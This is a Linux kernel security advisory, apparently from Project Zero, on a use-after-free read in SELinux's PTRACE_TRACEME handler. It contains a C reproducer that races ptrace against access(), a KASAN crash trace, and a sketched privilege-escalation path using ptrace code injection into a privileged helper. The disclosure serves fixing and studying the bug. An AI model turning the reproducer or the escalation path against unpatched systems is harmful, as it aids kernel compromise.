Linux SELinux PTRACE_TRACEME Handler Use-After-Free

Linux suffers from a use-after-free read in the SELinux handler for PTRACE_TRACEME.


MD5 | afc595f0a0d266cd0be01d4bd803c343

Linux: UAF read in SELinux handler for PTRACE_TRACEME

There's a UAF read in the SELinux handler for PTRACE_TRACEME, selinux_ptrace_traceme().
The bug was introduced in commit eb1231f73c4d7 (\"selinux: clarify task subjective and objective credentials\").

Part of the issue is that while the \"cred\" member of \"task_struct\" has an \"__rcu\" annotation on it, it does not actually have RCU protection at all, as documented in access_override_creds(). Someone should probably remove that annotation and put a big comment there instead...

At a higher level, accessing the \"subjective credentials\" of another task also doesn't make sense conceptually - the \"subjective credentials\" are designed to be temporarily overridden with credentials that are potentially of a much higher privilege level than the associated process, as a mechanism to essentially delegate privileges for specific actions. See e.g. ovl_override_creds(), which is used when accessing files inside an overlayfs to temporarily override the caller's credentials with the credentials of the process that mounted the filesystem. The ability of a process to use PTRACE_TRACEME probably shouldn't be controlled by whether its parent is currently opening an overlayfs file.

There was a similar bug a few years back, except that it wasn't inside SELinux:
bug report: https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
fix: https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=6994eefb0053799d2e07cd140df6c2ea106c41ee

I'm not sure what the best way would be to fit this inside the SELinux security model at all. The current check basically pretends that the parent called PTRACE_ATTACH, but fundamentally I think it's very questionable to have a \"subject\" that is not actively involved and an \"object\" that requested the action? In the bug mentioned above, this confusion of subject and object kinda led to an exploitable user->root privilege escalation vulnerability. SELinux probably has similar issues, depending on SELinux policy and the behavior of programs in highly-privileged domains.

Also noteworthy to me seems that PROCESS__PTRACE is only checked on:

- __ptrace_may_access()
- checked on PTRACE_ATTACH / PTRACE_SEIZE
- checked on ptrace_may_access()
- TRACEME
- tracee execve() with domain transition
- tracee dynamic domain transition

but not when *the ptrace-parent* transitions.

From what I can tell, this probably makes the following scenario possible, given a SELinux policy with the following domains (again, this is very similar to the previously reported bug, just with SELinux domains instead of UIDs/capabilities):

- untrusted
- attacker starts here
- not allowed to ptrace
- allowed to exec-transition to trusted_helper)
- trusted_helper
- entry point /bin/trusted_helper
- privileged domain
- allowed to ptrace everything
- allowed to dyntransition anywhere

where /bin/trusted_helper is the compiled form of something like this:

int main(int argc, char **argv) {
char *con;
if (getprevcon(&con))
return 1;
if (setcon(con))
return 1;
// we're back in the previous domain
execl(argv[1], argv+1);
return 1;
}

The attacker starts from process \"attackerA\".

attackerA[domain=untrusted]: fork(), creating process attackerB
attackerA[domain=untrusted]: executes /bin/trusted_helper <path to attacker-controlled binary>
attackerB[domain=untrusted]: calls PTRACE_TRACEME, which checks against subject=attackerA[domain=trusted_helper] object=attackerB[domain=untrusted] => success
attackerA[domain=trusted_helper]: switches back to domain=untrusted
attackerA[domain=untrusted]: executes some attacker-controlled binary
attackerA[domain=untrusted]: uses ptrace to continue execution until next execve is done
attackerB[domain=untrusted]: executes /bin_trusted_helper
attackerB[domain=trusted_helper]: stops execution due to ptrace
attackerA[domain=untrusted]: uses ptrace to inject code into trusted_helper

(Note that this would probably still work without the PTRACEME bug if the \"untrusted\" domain had the ability to ptrace itself.)


Reproducer for the UAF read (note: tested on a system without Yama LSM):

=====================
#define _GNU_SOURCE
#include <signal.h>
#include <unistd.h>
#include <err.h>
#include <sys/ptrace.h>
#include <sys/wait.h>

void child_fn(void) {
usleep(100);
ptrace(PTRACE_TRACEME, 0, NULL, NULL);
_exit(0);
}

// highly bogus code, a decent chunk of this function technically
// isn't signal-safe
void handle_sigchld(int sig, siginfo_t *info, void *uctx_) {
int wstatus;
again:;
pid_t child = waitpid(-1, &wstatus, WNOHANG);
if (child == -1)
return;
if (WIFSTOPPED(wstatus))
goto again;
pid_t new_child = fork();
if (new_child == -1)
err(1, \"bad fork\");
if (new_child == 0)
child_fn();
}

int main(void) {
sync();
struct sigaction act = {
.sa_sigaction = handle_sigchld,
.sa_flags = SA_SIGINFO
};
if (sigaction(SIGCHLD, &act, NULL))
err(1, \"sigaction\");
pid_t child = fork();
if (child == -1) err(1, \"fork\");
if (child == 0)
child_fn();

while (1)
access(\"/\", R_OK);
}
=====================

ASAN trace:
=====================
[ 200.702946] ==================================================================
[ 200.704331] BUG: KASAN: use-after-free in selinux_ptrace_traceme (security/selinux/hooks.c:229 security/selinux/hooks.c:240 security/selinux/hooks.c:2159)
[ 200.705606] Read of size 4 at addr ffff88800b82e9e4 by task traceme-collide/17218

[ 200.707181] CPU: 3 PID: 17218 Comm: traceme-collide Not tainted 5.15.0-rc2-00008-g4c17ca27923c #844
[ 200.708538] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.14.0-2 04/01/2014
[ 200.709670] Call Trace:
[ 200.710014] dump_stack_lvl (lib/dump_stack.c:107 (discriminator 1))
[ 200.710610] print_address_description.constprop.0 (mm/kasan/report.c:257)
[ 200.711410] ? selinux_ptrace_traceme (security/selinux/hooks.c:229 security/selinux/hooks.c:240 security/selinux/hooks.c:2159)
[ 200.712150] ? selinux_ptrace_traceme (security/selinux/hooks.c:229 security/selinux/hooks.c:240 security/selinux/hooks.c:2159)
[ 200.713040] kasan_report.cold (mm/kasan/report.c:443 mm/kasan/report.c:459)
[ 200.715245] ? do_raw_read_unlock (kernel/locking/spinlock_debug.c:147 kernel/locking/spinlock_debug.c:179)
[ 200.715838] ? selinux_ptrace_traceme (security/selinux/hooks.c:229 security/selinux/hooks.c:240 security/selinux/hooks.c:2159)
[ 200.716541] selinux_ptrace_traceme (security/selinux/hooks.c:229 security/selinux/hooks.c:240 security/selinux/hooks.c:2159)
[ 200.717202] security_ptrace_traceme (security/security.c:780 (discriminator 19))
[ 200.717855] ptrace_traceme (kernel/ptrace.c:491)
[ 200.718454] __x64_sys_ptrace (kernel/ptrace.c:1277)
[ 200.719160] do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80)
[ 200.719677] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:113)
[ 200.720417] RIP: 0033:0x7a0ff9c3b92f
[ 200.720902] Code: c7 44 24 10 18 00 00 00 48 89 44 24 18 48 8d 44 24 30 8b 70 08 48 8b 50 10 4c 0f 43 50 18 48 89 44 24 20 b8 65 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 41 48 85 c0 78 06 41 83 f8 02 76 1e 48 8b 4c
All code
========
0: c7 44 24 10 18 00 00 movl $0x18,0x10(%rsp)
7: 00
8: 48 89 44 24 18 mov %rax,0x18(%rsp)
d: 48 8d 44 24 30 lea 0x30(%rsp),%rax
12: 8b 70 08 mov 0x8(%rax),%esi
15: 48 8b 50 10 mov 0x10(%rax),%rdx
19: 4c 0f 43 50 18 cmovae 0x18(%rax),%r10
1e: 48 89 44 24 20 mov %rax,0x20(%rsp)
23: b8 65 00 00 00 mov $0x65,%eax
28: 0f 05 syscall
2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
30: 77 41 ja 0x73
32: 48 85 c0 test %rax,%rax
35: 78 06 js 0x3d
37: 41 83 f8 02 cmp $0x2,%r8d
3b: 76 1e jbe 0x5b
3d: 48 rex.W
3e: 8b .byte 0x8b
3f: 4c rex.WR

Code starting with the faulting instruction
===========================================
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
6: 77 41 ja 0x49
8: 48 85 c0 test %rax,%rax
b: 78 06 js 0x13
d: 41 83 f8 02 cmp $0x2,%r8d
11: 76 1e jbe 0x31
13: 48 rex.W
14: 8b .byte 0x8b
15: 4c rex.WR
[ 200.723583] RSP: 002b:00007ffec93fc480 EFLAGS: 00000286 ORIG_RAX: 0000000000000065
[ 200.724663] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007a0ff9c3b92f
[ 200.725622] RDX: 0000000000000000 RSI: 0000000000000000 RDI: 0000000000000000
[ 200.726660] RBP: 00007ffec93fc4f0 R08: 00000000ffffffff R09: 00007a0ff9d0c500
[ 200.727667] R10: 0000000000000000 R11: 0000000000000286 R12: 000056e648f910d0
[ 200.728721] R13: 00007ffec93fcd60 R14: 0000000000000000 R15: 0000000000000000

[ 200.731636] Allocated by task 575:
[ 200.732117] kasan_save_stack (mm/kasan/common.c:38)
[ 200.732663] __kasan_kmalloc (mm/kasan/common.c:46 mm/kasan/common.c:434 mm/kasan/common.c:513 mm/kasan/common.c:522)
[ 200.733182] security_prepare_creds (security/security.c:537 security/security.c:1691)
[ 200.733809] prepare_creds (kernel/cred.c:293)
[ 200.734314] do_faccessat (fs/open.c:351 fs/open.c:415)
[ 200.734855] do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80)
[ 200.735354] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:113)

[ 200.736272] Freed by task 575:
[ 200.736693] kasan_save_stack (mm/kasan/common.c:38)
[ 200.737229] kasan_set_track (mm/kasan/common.c:46)
[ 200.737768] kasan_set_free_info (mm/kasan/generic.c:362)
[ 200.738337] __kasan_slab_free (mm/kasan/common.c:368 mm/kasan/common.c:328 mm/kasan/common.c:374)
[ 200.738921] kfree (mm/slub.c:1725 mm/slub.c:3483 mm/slub.c:4543)
[ 200.739338] security_cred_free (security/security.c:1686 (discriminator 18))
[ 200.740065] put_cred_rcu (kernel/cred.c:116)
[ 200.740560] do_faccessat (fs/open.c:396)
[ 200.741107] do_syscall_64 (arch/x86/entry/common.c:50 arch/x86/entry/common.c:80)
[ 200.741584] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:113)

[ 200.742472] The buggy address belongs to the object at ffff88800b82e9e0
which belongs to the cache kmalloc-32 of size 32
[ 200.744105] The buggy address is located 4 bytes inside of
32-byte region [ffff88800b82e9e0, ffff88800b82ea00)
[ 200.745643] The buggy address belongs to the page:
[ 200.746338] page:ffffea00002e0b80 refcount:1 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0xb82e
[ 200.747639] head:ffffea00002e0b80 order:1 compound_mapcount:0
[ 200.748409] flags: 0x4000000000010200(slab|head|zone=1)
[ 200.749106] raw: 4000000000010200 ffffea000045e488 ffffea0000251a08 ffff888005c4ca40
[ 200.750385] raw: 0000000000000000 0000000000130013 00000001ffffffff 0000000000000000
[ 200.751486] page dumped because: kasan: bad access detected

[ 200.752479] Memory state around the buggy address:
[ 200.753133] ffff88800b82e880: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 200.754190] ffff88800b82e900: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 200.755170] >ffff88800b82e980: fc fc fc fc fc fc fc fc fc fc fc fc fa fb fb fb
[ 200.756132] ^
[ 200.756970] ffff88800b82ea00: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 200.757925] ffff88800b82ea80: fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc fc
[ 200.758892] ==================================================================
=====================

This bug is subject to a 90-day disclosure deadline. If a fix for this
issue is made available to users before the end of the 90-day deadline,
this bug report will become public 30 days after the fix was made
available. Otherwise, this bug report will become public at the deadline.
The scheduled deadline is 2021-12-20.





Found by: [email protected]


Related Posts